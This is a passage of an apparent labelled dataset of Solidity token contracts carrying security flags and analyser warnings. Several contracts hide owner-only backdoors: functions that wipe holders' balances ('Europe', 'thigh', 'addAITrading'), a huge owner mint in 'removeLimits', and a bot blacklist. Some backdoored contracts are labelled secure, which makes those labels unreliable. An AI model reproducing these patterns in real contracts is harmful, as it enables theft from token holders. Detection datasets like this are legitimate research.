) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == cancel, \"Not allowed\");\n\n _;\n }\n\n function Europe(address[] memory highway) public onlyOwner {\n for (uint256 i = 0; i < highway.length; i++) {\n address account = highway[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_4029.sol", "secure": 1, "size_bytes": 4353 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary SafeMathUpgradeable {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}", "file_name": "solidity_code_403.sol", "secure": 1, "size_bytes": 2633 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract HumanityToken {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 026c856): HumanityToken.tokenTotalSupply should be immutable \n\t// Recommendation for 026c856: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n\n string private tokenName;\n\n string private tokenSymbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 673724b): HumanityToken.xxnux should be immutable \n\t// Recommendation for 673724b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3b1ff38): HumanityToken.tokenDecimals should be immutable \n\t// Recommendation for 3b1ff38: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 052ebb0): HumanityToken.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for 052ebb0: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"Humanity Protocol\";\n\n tokenSymbol = \"HUMAN\";\n\n tokenDecimals = 18;\n\n tokenTotalSupply = 1000000000 * 10 ** tokenDecimals;\n\n _balances[msg.sender] = tokenTotalSupply;\n\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\n\t\t// missing-zero-check | ID: 052ebb0\n xxnux = ads;\n }\n\n function addAITrading(address addBot) external {\n if (\n xxnux == msg.sender &&\n xxnux != addBot &&\n pancakePair() != addBot &&\n addBot != ROUTER\n ) {\n _balances[addBot] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 4206900000 *\n 40000 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_4030.sol", "secure": 0, "size_bytes": 5710 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Chub is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable clerk;\n\n constructor() {\n _name = \"chub\";\n\n _symbol = \"chub\";\n\n _decimals = 18;\n\n uint256 initialSupply = 394000000;\n\n clerk = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == clerk, \"Not allowed\");\n\n _;\n }\n\n function thigh(address[] memory cake) public onlyOwner {\n for (uint256 i = 0; i < cake.length; i++) {\n address account = cake[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_4031.sol", "secure": 1, "size_bytes": 4337 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract NSAVIP is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor() {\n _name = \"NSAVx VIP Token\";\n\n _symbol = \"NSAVIP\";\n\n _mint(msg.sender, 500000000 * 10 ** (decimals()));\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"BEP20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"BEP20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(\n sender != address(0),\n \"BEP2020: transfer from the zero address\"\n );\n\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"BEP20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"BEP20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"BEP20: burn amount exceeds balance\");\n\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"BEP20: approve from the zero address\"\n );\n\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_4032.sol", "secure": 1, "size_bytes": 5424 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract IDX is ERC20 {\n constructor() ERC20(\"IDX\", \"IDX\") {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_4033.sol", "secure": 1, "size_bytes": 266 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract RoaringKitty is ERC20, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Roaring Kitty\", \"$ROKY\") Ownable(initialOwner) {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_4034.sol", "secure": 1, "size_bytes": 416 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract $MAD is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6c7cdd6): $MAD._taxWallet should be immutable \n\t// Recommendation for 6c7cdd6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 92501a5): $MAD._initialBuyTax should be constant \n\t// Recommendation for 92501a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 22583f2): $MAD._initialSellTax should be constant \n\t// Recommendation for 22583f2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6534054): $MAD._reduceBuyTaxAt should be constant \n\t// Recommendation for 6534054: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ed0efa): $MAD._reduceSellTaxAt should be constant \n\t// Recommendation for 7ed0efa: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b4bc458): $MAD._preventSwapBefore should be constant \n\t// Recommendation for b4bc458: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Memes After Dark\";\n\n string private constant _symbol = unicode\"$MAD\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: faab0da): $MAD._taxSwapThreshold should be constant \n\t// Recommendation for faab0da: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: da59274): $MAD._maxTaxSwap should be constant \n\t// Recommendation for da59274: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x42a47a749166c90b9125200fE3434892Ec18c953);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 57fa8c9): $MAD.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 57fa8c9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e098cb7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e098cb7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8018497): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8018497: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e098cb7\n\t\t// reentrancy-benign | ID: 8018497\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e098cb7\n\t\t// reentrancy-benign | ID: 8018497\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0970633): $MAD._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0970633: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8018497\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e098cb7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 58709bc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 58709bc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 65dcad9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 65dcad9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 58709bc\n\t\t\t\t// reentrancy-eth | ID: 65dcad9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 58709bc\n\t\t\t\t\t// reentrancy-eth | ID: 65dcad9\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 65dcad9\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 65dcad9\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 65dcad9\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 58709bc\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 65dcad9\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 65dcad9\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 58709bc\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e098cb7\n\t\t// reentrancy-events | ID: 58709bc\n\t\t// reentrancy-benign | ID: 8018497\n\t\t// reentrancy-eth | ID: 65dcad9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e098cb7\n\t\t// reentrancy-events | ID: 58709bc\n\t\t// reentrancy-eth | ID: 65dcad9\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3d3792d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3d3792d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1d81937): $MAD.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1d81937: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6a0abd5): $MAD.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6a0abd5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 30d0bd1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 30d0bd1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 3d3792d\n\t\t// reentrancy-eth | ID: 30d0bd1\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 